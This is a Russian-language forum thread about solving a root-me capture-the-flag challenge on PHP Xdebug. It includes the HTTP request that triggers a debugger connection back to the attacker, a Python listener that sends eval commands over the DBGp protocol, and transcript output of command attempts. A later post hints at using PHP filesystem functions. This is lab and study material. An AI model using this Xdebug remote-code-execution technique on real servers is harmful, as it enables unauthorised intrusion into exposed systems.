CTF root-me(php Xdebug)

Discussion in 'Этичный хакинг или пентестинг' started by tester_new, 23 May 2020.

  1. tester_new

    tester_new Elder - Старейшина

    Joined:
    12 Feb 2012
    Messages:
    301
    Likes Received:
    45
    Reputations:
    24
    День добрый,
    уже несколько часов не могу пройти данный таск(прошли его 1% пользователь):
    http://challenge01.root-me.org/web-serveur/ch64/

    Обновлю свой пост который так и не получил ответа)), значительно продвинулся в данном таске(по факту составил верный HTTP запрос и все...) уже получаю шел НО проблема в том что в php все 'интересные' функции отключены(может я ошибаюсь), вообщем кидаю ниже HTTP пакет который я отправляю посредством Burp(можно конечно использовать массу других утилит) на сервер и после чего мне успешно прилетает шел, но как я писал выше толку с данного шела мало...

    Пакет:
    GET /web-serveur/ch64/?XDEBUG_SESSION_START=phpstorm HTTP/1.1
    Host: challenge01.root-me.org
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    X-Forwarded-For:IP
    HTTP_CLIENT_IP:IP
    Upgrade-Insecure-Requests: 1))
    Cookie: XDEBUG_SESSION_START=phpstorm
    Content-Length: 2


    Скрипт(listener) который получает коннект:
    Code:
    #!/usr/bin/python2
    import socket
    
    ip_port = ('0.0.0.0', 9000)
    sk = socket.socket()
    sk.bind(ip_port)
    sk.listen(10)
    conn, addr = sk.accept()
    
    while True:
      client_data = conn.recv(1024)
      print(client_data)
      data = raw_input('>> ')
      conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))

    Пример как пытаюсь юзать:
    Code:
    Getting a connection from server and try to execute command:
    511<?xml version="1.0" encoding="iso-8859-1"?>
    <init xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" fileuri="file:///challenge/web-serveur/ch64/index.php" language="PHP" xdebug:language_version="7.0.4-5ubuntu1" protocol_version="1.0" appid="4477" idekey="phpstorm1"><engine version="2.4.0"><![CDATA[Xdebug]]></engine><author><![CDATA[Derick Rethans]]></author><url><![CDATA[http://xdebug.org]]></url><copyright><![CDATA[Copyright (c) 2002-2016 by Derick Rethans]]></copyright></init>
    >> system('pwd')
    210<?xml version="1.0" encoding="iso-8859-1"?>
    <response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" command="eval" transaction_id="1"><property type="null"></property></response>
    >> exec('pwd')
    210<?xml version="1.0" encoding="iso-8859-1"?>
    <response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" command="eval" transaction_id="1"><property type="null"></property></response>
    >> shell_exec('pwd')
    210<?xml version="1.0" encoding="iso-8859-1"?>
    <response xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug" command="eval" transaction_id="1"><property type="null"></property></response>
    >> escapeshellcmd('pwd')
     
    #1 tester_new, 23 May 2020
    Last edited: 1 Jul 2020
  2. tester_new

    tester_new Elder - Старейшина

    Joined:
    12 Feb 2012
    Messages:
    301
    Likes Received:
    45
    Reputations:
    24
    Победил,
    подсказка: Юзайте функции php для работы с filesystem.
     
  3. tester_new

    tester_new Elder - Старейшина

    Joined:
    12 Feb 2012
    Messages:
    301
    Likes Received:
    45
    Reputations:
    24
    Можно пример в студию правильного написания php? :)